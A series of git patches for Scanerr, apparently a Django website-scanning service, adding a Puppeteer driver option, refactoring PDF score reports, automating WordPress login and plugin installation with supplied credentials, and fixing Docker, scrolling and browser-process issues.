self.get_score_data(data['scores'][avg_score]) + # checking if cat is not null + if data['scores'][cat] is not None: + + # creating global score + if c_count == 0: + grade_obj = self.get_score_data(data['scores'][avg_score]) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.roundRect( + 2*inch, + 8.7*inch, + 1*inch, + 1*inch, + .17*inch, + stroke=0, + fill=1 + ) + self.c.setFillColor(HexColor(self.text_color)) + self.c.setFont('Helvetica', 30) + self.c.drawCentredString( + 2.5*inch, + 9.05*inch, + grade_obj['grade'] + ) + self.c.setFont('Helvetica', 20) + self.c.drawCentredString( + 5.5*inch, + 8.9*inch, + 'Global Score' + ) + self.c.setFont('Helvetica-Bold', 20) + self.c.drawCentredString( + 5.5*inch, + 9.25*inch, + f'{data["scores"][avg_score]}/100' + ) + + + # creating new page at limit --> 20 items + if logs_count >= 20: + self.end_page() + logs_count = 0 + begin_y = 9 + self.setup_page() + self.draw_page_title(f'{page_title} (continued)') + + # creating space btw sections + if c_count > 0 and logs_count != 0: + begin_y = (self.y - .2) + + + + # creating individual grade cards + grade_obj = self.get_score_data(data['scores'][cat]) self.c.setFillColor(HexColor(grade_obj['color'],)) self.c.roundRect( - 2*inch, - 8.7*inch, - 1*inch, - 1*inch, - .17*inch, + .5*inch, + (begin_y - .25)*inch, + .5*inch, + .5*inch, + .12*inch, stroke=0, fill=1 ) self.c.setFillColor(HexColor(self.text_color)) - self.c.setFont('Helvetica', 30) + self.c.setFont('Helvetica', 16) self.c.drawCentredString( - 2.5*inch, - 9.05*inch, + .75*inch, + (begin_y - .07)*inch, grade_obj['grade'] ) - self.c.setFont('Helvetica', 20) - self.c.drawCentredString( - 5.5*inch, - 8.9*inch, - 'Global Score' - ) - self.c.setFont('Helvetica-Bold', 20) + + self.c.setFont('Helvetica', 16) + cat_string = self.get_cat_string(cat) self.c.drawCentredString( - 5.5*inch, - 9.25*inch, - f'{data["scores"][avg_score]}/100' + 2.3*inch, + (begin_y - .07)*inch, + cat_string ) - - # creating new page at limit --> 20 items - if logs_count >= 20: - self.end_page() - logs_count = 0 - begin_y = 9 - self.setup_page() - self.draw_page_title(f'{page_title} (continued)') - - # creating space btw sections - if c_count > 0 and logs_count != 0: - begin_y = (self.y - .2) - - - - # creating individual grade cards - grade_obj = self.get_score_data(data['scores'][cat]) - self.c.setFillColor(HexColor(grade_obj['color'],)) - self.c.roundRect( - .5*inch, - (begin_y - .25)*inch, - .5*inch, - .5*inch, - .12*inch, - stroke=0, - fill=1 - ) - self.c.setFillColor(HexColor(self.text_color)) - self.c.setFont('Helvetica', 16) - self.c.drawCentredString( - .75*inch, - (begin_y - .07)*inch, - grade_obj['grade'] - ) - - self.c.setFont('Helvetica', 16) - cat_string = self.get_cat_string(cat) - self.c.drawCentredString( - 2.3*inch, - (begin_y - .07)*inch, - cat_string - ) - - - p_count = 0 - for policy in data['audits'][cat]: - - if (begin_y - (space * p_count)) < 1: - break - - # setting up keys for dict(s) - if data_type == 'yellowlab': - policy_text = policy["policy"]["label"] - policy_value = policy["value"] - binary = False - if data_type == 'lighthouse': - policy_text = policy["title"] - policy_value = '' - if "displayValue" in policy: - if len(policy["displayValue"]) < 9: - policy_value = policy["displayValue"] - binary = True - - - if len(policy_text) < 53: - # creating log box - self.c.setFont('Helvetica', 9) - self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True)) - self.c.rect( - log_margin*inch, - (begin_y - (space * p_count))*inch, - log_width*inch, log_height*inch, - stroke=0, - fill=1 - ) - - # get grade tab - grade_obj = self.get_score_data(policy['score'], is_binary=binary) - self.c.setFillColor(HexColor(grade_obj['color'],)) - self.c.rect( - log_margin*inch, - (begin_y - (space * p_count))*inch, - grade_tab_width*inch, - log_height*inch, - stroke=0, - fill=1 - ) - - # inserting data - self.c.setFillColor(HexColor(self.text_color)) - # text - self.c.drawString( - (log_margin + text_margin)*inch, - ((begin_y - (space * p_count)) + text_space)*inch, - (f'{policy_text}') - ) - - # value - self.c.drawString( - (value_margin + text_margin + log_margin)*inch, - ((begin_y - (space * p_count)) + text_space)*inch, - (f'{policy_value}') - ) - - - p_count += 1 - logs_count += 1 - self.y = (begin_y - (space * p_count)) + p_count = 0 + for policy in data['audits'][cat]: + + if (begin_y - (space * p_count)) < 1: + break + + # setting up keys for dict(s) + if data_type == 'yellowlab': + policy_text = policy["policy"]["label"] + policy_value = policy["value"] + binary = False + if data_type == 'lighthouse': + policy_text = policy["title"] + policy_value = '' + if "displayValue" in policy: + if len(policy["displayValue"]) < 9: + policy_value = policy["displayValue"] + binary = True + + + if len(policy_text) < 53: + # creating log box + self.c.setFont('Helvetica', 9) + self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + log_width*inch, log_height*inch, + stroke=0, + fill=1 + ) + + # get grade tab + grade_obj = self.get_score_data(policy['score'], is_binary=binary) + self.c.setFillColor(HexColor(grade_obj['color'],)) + self.c.rect( + log_margin*inch, + (begin_y - (space * p_count))*inch, + grade_tab_width*inch, + log_height*inch, + stroke=0, + fill=1 + ) + + # inserting data + self.c.setFillColor(HexColor(self.text_color)) + + # text + self.c.drawString( + (log_margin + text_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_text}') + ) + + # value + self.c.drawString( + (value_margin + text_margin + log_margin)*inch, + ((begin_y - (space * p_count)) + text_space)*inch, + (f'{policy_value}') + ) + + + p_count += 1 + logs_count += 1 + self.y = (begin_y - (space * p_count)) c_count += 1 diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index d5871295..af41f681 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -1,11 +1,13 @@ -from .driver import driver_init +from .driver_s import driver_init as driver_s_init +from .driver_s import driver_wait +from .driver_p import get_data from ..models import Site, Scan, Test from django.forms.models import model_to_dict from django.core.serializers.json import DjangoJSONEncoder from .lighthouse import Lighthouse from .yellowlab import Yellowlab from .image import Image -import time, os, sys, json +import time, os, sys, json, asyncio @@ -23,12 +25,15 @@ def __init__( if configs is None: configs = { 'window_size': '1920,1080', + 'driver': 'selenium', + 'device': 'desktop', 'interval': 5, 'min_wait_time': 10, 'max_wait_time': 60, } self.site = site - self.driver = driver_init(window_size=configs['window_size']) + if configs['driver'] == 'selenium': + self.driver = driver_s_init(window_size=configs['window_size'], device=configs['device']) self.scan = scan self.configs = configs @@ -40,14 +45,26 @@ def first_scan(self): returns -> `Scan` """ - self.driver.get(self.site.site_url) - time.sleep(5) - html = self.driver.page_source - logs = self.driver.get_log('browser') - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - self.driver.quit() - lh_data = Lighthouse(self.site).get_data() - yl_data = Yellowlab(self.site).get_data() + + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + html = self.driver.page_source + logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + self.driver.quit() + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + html = driver_data['html'] + logs = driver_data['logs'] + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() if self.scan: @@ -89,14 +106,25 @@ def second_scan(self): else: first_scan = self.scan - self.driver.get(self.site.site_url) - time.sleep(5) - html = self.driver.page_source - logs = self.driver.get_log('browser') - images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) - self.driver.quit() - lh_data = Lighthouse(self.site).get_data() - yl_data = Yellowlab(self.site).get_data() + if self.configs['driver'] == 'selenium': + self.driver.get(self.site.site_url) + html = self.driver.page_source + logs = self.driver.get_log('browser') + images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + self.driver.quit() + else: + driver_data = asyncio.run( + get_data( + url=self.site.site_url, + configs=self.configs + ) + ) + html = driver_data['html'] + logs = driver_data['logs'] + images = asyncio.run(Image().scan_p(site=self.site, configs=self.configs)) + + lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() + yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() second_scan = Scan.objects.create( site=self.site, paired_scan=first_scan, diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index c3c46b42..087537c6 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -22,7 +22,7 @@ def clean_html(self): pre_scan_html = self.test.pre_scan.html.splitlines() post_scan_html = self.test.post_scan.html.splitlines() - white_list = ['csrfmiddlewaretoken',] + white_list = ['csrfmiddlewaretoken', '',] tags = [ ' This will have to updated regularly self.driver.execute_script("arguments[0].scrollIntoView();", install) time.sleep(1) diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py new file mode 100644 index 00000000..e70a758a --- /dev/null +++ b/app/api/utils/wordpress_p.py @@ -0,0 +1,387 @@ +from .driver_p import driver_init +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +import time, asyncio + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + wait_time, + ): + self.login_url = login_url + self.username = username + self.password = password + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + if wait_time is None: + self.wait_time = 30 + else: + self.wait_time = wait_time + + self.navWaitOpt = { + 'timeout': self.wait_time * 1000, + 'waitUntil': 'domcontentloaded' + } + + + async def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + + + self.driver = await driver_init(wait_time=self.wait_time) + + # init page obj + self.page = await self.driver.newPage() + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': self.wait_time * 1000 + } + + try: + await self.page.goto(self.login_url, page_options) + try: + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]') + await jetpack[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]") + await login_link[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + try: + verify_email = await self.page.xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + await verify_email[0].click() + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error') + await self.page.reload() + + print('trying login again') + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + + await self.driver.close() + return False + + + # removing alerts + try: + deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]') + await deny_btn[0].click() + print('removed alert') + except: + pass + try: + # checking if url location is wp-admin + admin_link = '/wp-admin/' + current_url = self.page.url + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + print('inside wp-admin') + else: + print('not in wp-admin - navigating there now') + admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]') + admin_link = await admin_btn[0].querySelector('a') + await admin_link[0].click(clickCount=2) + print('clicked dashboard link') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + print('could not login') + await self.driver.close() + return False + + + return True + + + + + + async def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # finding and recording current native language + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + optgroup = await lang_selector[0].querySelector('optgroup') + selected_lang = await optgroup.xpath('.//option[@selected="selected"]') + default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue() + default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue() + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + await lang_selector[0].select('en_CA') + print('selected english') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + async def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # selecting native lang + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + await lang_selector[0].select(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved native lang') + + except: + await self.driver.close() + return False + + await self.driver.close() + return True + + + + async def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]') + await plugin_menu[0].click() + await self.page.waitForNavigation(self.navWaitOpt) + p_url = 'plugins.php' + plugins = await self.page.xpath('.//a[@href="'+p_url+'"]') + await plugins[0].click() + print('clicked plugin menu') + await self.page.waitForNavigation(self.navWaitOpt) + + + # looking for dependencies in plugin table + time.sleep(10) + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + + except: + print('trying link method for navigation') + try: + await self.page.goto(self.admin_link + plugin_menu_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(10) + # looking for dependencies in plugin table + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + except: + print('unable to find plugin table') + await self.driver.close() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = await self.page.xpath('//a[@href="'+url+'"]') + await add_plugin[0].click(clickCount=2) + print('clicked add plugin link') + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + except: + await self.page.goto(self.admin_url + add_plugin_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + + + # searching for plugin + search_form = await self.page.xpath('//input[@type="search"]') + await search_form[0].click(clickCount=3) + await self.page.keyboard.type(plugin_name) + time.sleep(1) + await self.page.keyboard.press('Enter') + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await install[0].click(clickCount=2) + print('clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + await self.page.reload() + print('reloading page') + try: + await self.page.waitForNavigation(self.navWaitOpt) + except: + pass + activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await activate[0].click(clickCount=2) + print('clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + await self.driver.close() + return False + + + + async def run_full(self, plugin_name): + data = await self.login() + data = await self.begin_lang_check() + data = await self.install_plugin(plugin_name) + data = await self.end_lang_check() + await self.driver.close() + return data + diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index 25f737b5..f1857e1c 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -8,14 +8,16 @@ class Yellowlab(): """Initializes Yellow Lab Tools CLI and runs an audit of the site""" - def __init__(self, site=None): + def __init__(self, site=None, configs=None): self.site = site + self.configs = configs def init_audit(self): proc = subprocess.Popen([ 'yellowlabtools', self.site.site_url, + f'--device={self.configs["device"]}' ], stdout=subprocess.PIPE, user='app', diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index fe24f121..8bb3a89a 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1,4 +1,4 @@ -import json, boto3 +import json, boto3, asyncio from datetime import datetime from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask @@ -14,6 +14,8 @@ from ...utils.image import Image as I from ...utils.reporter import Reporter as R from ...utils.wordpress import Wordpress as W +from ...utils.wordpress_p import Wordpress as W_P + @@ -372,6 +374,8 @@ def create_scan(request, delay=False): if not configs: configs = { + 'driver': 'selenium', + 'device': 'desktop', 'window_size': '1920,1080', 'interval': 5, 'min_wait_time': 10, @@ -991,43 +995,76 @@ def install_wp_plugin(request): plugin_name = request.data.get('plugin_name', None) username = request.data.get('username', None) password = request.data.get('password', None) - wait_time = request.data.get('wait_time', 15) - - # init wordpress - wp = W( - login_url=login_url, - admin_url=admin_url, - username=username, - password=password, - wait_time=wait_time, - ) + wait_time = request.data.get('wait_time', 30) + driver = request.data.get('driver', 'selenium') + + if driver == 'selenium': + + # init wordpress + wp = W( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ) - # login - wp_status = wp.login() + # login + wp_status = wp.login() - # adjust lang - wp_status = wp.begin_lang_check() + # adjust lang + wp_status = wp.begin_lang_check() - # install plugin - wp_status = wp.install_plugin(plugin_name=plugin_name) + # install plugin + wp_status = wp.install_plugin(plugin_name=plugin_name) - # re adjust lang - wp_status = wp.end_lang_check() + # re adjust lang + wp_status = wp.end_lang_check() + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response - if wp_status: - data = { - 'status': 'success', - 'message': 'plugin installed successfully' - } else: - data = { - 'status': 'failed', - 'message': 'plugin installation failed' - } - response = Response(data, status=status.HTTP_200_OK) - record_api_call(request, data, '200') - return response + # init wordpress for puppeteer + wp_status = asyncio.run( + W_P( + login_url=login_url, + admin_url=admin_url, + username=username, + password=password, + wait_time=wait_time, + ).run_full(plugin_name=plugin_name) + ) + + if wp_status: + data = { + 'status': 'success', + 'message': 'plugin installed successfully' + } + else: + data = { + 'status': 'failed', + 'message': 'plugin installation failed' + } + + response = Response(data, status=status.HTTP_200_OK) + record_api_call(request, data, '200') + return response + + @@ -1042,8 +1079,14 @@ def create_site_screenshot(request): if site_id is not None: site = Site.objects.get(id=site_id) - - data = I().screenshot(site=site, url=url, configs=configs) + + if configs is not None: + if configs['driver'] == 'puppeteer': + data = asyncio.run(I().screenshot_p(site=site, url=url, configs=configs)) + elif configs['driver'] == 'selenium': + data = I().screenshot(site=site, url=url, configs=configs) + else: + data = I().screenshot(site=site, url=url, configs=configs) record_api_call(request, data, '201') response = Response(data, status=status.HTTP_201_CREATED) return response diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index ee707830..700a4723 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -15,10 +15,9 @@ def create_site_task(site_id): def create_scan_task( - scan_id=None, - site_id=None, + scan_id=None, + site_id=None, automation_id=None, - type=None, configs=None, ): if scan_id is not None: diff --git a/app/scanerr/celery.py b/app/scanerr/celery.py index 7e90fe87..08e5ae7e 100644 --- a/app/scanerr/celery.py +++ b/app/scanerr/celery.py @@ -1,8 +1,8 @@ from __future__ import absolute_import, unicode_literals -import os from celery import Celery from django.conf import settings -import scanerr +import scanerr, os + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'scanerr.settings') @@ -13,4 +13,5 @@ @app.task(bind=False) def debug_task(self): - print('Request: {0!r}'.format(self.request)) \ No newline at end of file + print('Request: {0!r}'.format(self.request)) + From cbd74480ed227ac6fbaebcd4404f42da32b6c67b Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 29 Mar 2022 12:27:31 -0500 Subject: [PATCH 020/277] updated docker compose cmd --- README.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index ddef7104..58626581 100644 --- a/README.md +++ b/README.md @@ -60,11 +60,11 @@ $ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker-compose up --build +$ docker compose up --build ``` *Spin-down the application* ```shell -$ docker-compose up down +$ docker compose up down ```   @@ -97,15 +97,15 @@ $ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker-compose -f docker-compose.prod.yml up -d --build +$ docker compose -f docker-compose.prod.yml up -d --build ``` *Spin-down the application* ```shell -$ docker-compose -f docker-compose.prod.yml down +$ docker compose -f docker-compose.prod.yml down ``` *Spin-down the application and removes the volumes* ```shell -$ docker-compose -f docker-compose.prod.yml down -v +$ docker compose -f docker-compose.prod.yml down -v ``` From e8d15af4a9ee2bd72b93ae5de5b556e30fd14be0 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 29 Mar 2022 12:56:45 -0500 Subject: [PATCH 021/277] fixed deployed docker cmds --- commands | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/commands b/commands index 8a161292..cb2ad858 100644 --- a/commands +++ b/commands @@ -7,8 +7,8 @@ docker compose down ### spins up the container for production ### -docker compose -f docker-compose.prod.yml up -d --build +docker-compose -f docker-compose.prod.yml up -d --build ### spins down the container and removes volumes ### -docker compose -f docker-compose.prod.yml down -v +docker-compose -f docker-compose.prod.yml down -v From b93973bbb17de373c941ae913f1fc6031bd0a255 Mon Sep 17 00:00:00 2001 From: Basilis Kanonidis Date: Tue, 29 Mar 2022 22:32:00 +0300 Subject: [PATCH 022/277] Create pylint.yml --- .github/workflows/pylint.yml | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 .github/workflows/pylint.yml diff --git a/.github/workflows/pylint.yml b/.github/workflows/pylint.yml new file mode 100644 index 00000000..383e65cd --- /dev/null +++ b/.github/workflows/pylint.yml @@ -0,0 +1,23 @@ +name: Pylint + +on: [push] + +jobs: + build: + runs-on: ubuntu-latest + strategy: + matrix: + python-version: ["3.8", "3.9", "3.10"] + steps: + - uses: actions/checkout@v3 + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v3 + with: + python-version: ${{ matrix.python-version }} + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install pylint + - name: Analysing the code with pylint + run: | + pylint $(git ls-files '*.py') From 7f2efeac9296c8f2a6b938838500b6bdddc9e1d5 Mon Sep 17 00:00:00 2001 From: Basilis Kanonidis Date: Tue, 29 Mar 2022 22:37:46 +0300 Subject: [PATCH 023/277] Delete pylint.yml --- .github/workflows/pylint.yml | 23 ----------------------- 1 file changed, 23 deletions(-) delete mode 100644 .github/workflows/pylint.yml diff --git a/.github/workflows/pylint.yml b/.github/workflows/pylint.yml deleted file mode 100644 index 383e65cd..00000000 --- a/.github/workflows/pylint.yml +++ /dev/null @@ -1,23 +0,0 @@ -name: Pylint - -on: [push] - -jobs: - build: - runs-on: ubuntu-latest - strategy: - matrix: - python-version: ["3.8", "3.9", "3.10"] - steps: - - uses: actions/checkout@v3 - - name: Set up Python ${{ matrix.python-version }} - uses: actions/setup-python@v3 - with: - python-version: ${{ matrix.python-version }} - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install pylint - - name: Analysing the code with pylint - run: | - pylint $(git ls-files '*.py') From ef3fe9161c18e6132acaeda22fd7029a014de6a6 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 30 Mar 2022 09:54:19 -0500 Subject: [PATCH 024/277] fixed page scroll bug for image.py --- app/api/utils/image.py | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 184c1bb6..26314323 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -72,10 +72,12 @@ def scan(self, site, configs, driver=None,): # scroll single frame if index != 0: - driver.execute_script("window.scrollBy(0, window.innerHeight);") + # driver.execute_script("window.scrollBy(0, window.innerHeight);") + driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) # get current position and compare to previous - new_height = driver.execute_script("return window.pageYOffset + window.innerHeight") + new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight") height_diff = new_height - last_height if height_diff > 20: last_height = new_height @@ -186,10 +188,11 @@ async def scan_p(self, site, configs): # scroll single frame if index != 0: - await page.evaluate("window.scrollBy(0, window.innerHeight);") + await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);") + time.sleep(int(configs['min_wait_time'])) # get current position and compare to previous - new_height = await page.evaluate("window.pageYOffset + window.innerHeight") + new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight") height_diff = new_height - last_height if height_diff > 20: last_height = new_height From 76d20afa40aee81d557da04ae3710ec907a286b1 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 30 Mar 2022 10:16:36 -0500 Subject: [PATCH 025/277] fixing chromium z-processes issues --- app/api/utils/driver_s.py | 1 + app/api/utils/image.py | 1 + app/api/utils/scanner.py | 2 ++ docker-compose.prod.yml | 1 + docker-compose.yml | 1 + 5 files changed, 6 insertions(+) diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py index b10d6dd8..fe56d8ff 100644 --- a/app/api/utils/driver_s.py +++ b/app/api/utils/driver_s.py @@ -76,6 +76,7 @@ def driver_test(): ) driver.close() + driver.quit() sys.exit(0) diff --git a/app/api/utils/image.py b/app/api/utils/image.py index 26314323..f7709855 100644 --- a/app/api/utils/image.py +++ b/app/api/utils/image.py @@ -122,6 +122,7 @@ def scan(self, site, configs, driver=None,): bottom = True if not driver_present: + driver.close() driver.quit() return image_array diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index af41f681..7f633667 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -51,6 +51,7 @@ def first_scan(self): html = self.driver.page_source logs = self.driver.get_log('browser') images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + self.driver.close() self.driver.quit() else: driver_data = asyncio.run( @@ -111,6 +112,7 @@ def second_scan(self): html = self.driver.page_source logs = self.driver.get_log('browser') images = Image().scan(site=self.site, driver=self.driver, configs=self.configs) + self.driver.close() self.driver.quit() else: driver_data = asyncio.run( diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 818ad8b9..bffa06dd 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -3,6 +3,7 @@ version: '3' services: app: privileged: true + init: true build: context: . dockerfile: Dockerfile.prod diff --git a/docker-compose.yml b/docker-compose.yml index a8ab34b4..df003fc1 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -3,6 +3,7 @@ services: app: privileged: true + init: true build: context: . dockerfile: Dockerfile From df12e2cd976d3d0ae4a84d2d44ddf8a851fa8ffa Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 30 Mar 2022 13:27:12 -0500 Subject: [PATCH 026/277] removed unnecessary env vars --- app/scanerr/settings.py | 10 ++++++---- env/.env.dev.example | 11 ++++------- env/.env.prod.example | 11 ++++------- 3 files changed, 14 insertions(+), 18 deletions(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index f15c2ff7..2da53218 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -174,7 +174,7 @@ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, "static") -# remote storage settings for serving static files to django admin +### ONLY NEEDED IF USING DJANGO-STORAGES | remote storage settings for serving static files to django admin ### # DEFAULT_FILE_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' # STATICFILES_STORAGE = 'storages.backends.s3boto3.S3Boto3Storage' # STORAGE_DOMAIN = os.environ.get('STORAGE_DOMAIN') @@ -182,6 +182,9 @@ # MEDIA_ROOT = 'media' # STATIC_URL = f"https://{AWS_S3_ENDPOINT_URL}/{STATIC_ROOT}/" # MEDIA_URL = f"https://{AWS_S3_ENDPOINT_URL}/{MEDIA_ROOT}/" +# AWS_S3_ENDPOINT_PATH = os.environ.get('AWS_S3_ENDPOINT_PATH') +# AWS_S3_CUSTOM_DOMAIN = os.environ.get('AWS_S3_CUSTOM_DOMAIN') + # Used to authenticate with S3 using 'django-stores' pypi package and 'boto3' AWS_ACCESS_KEY_ID = 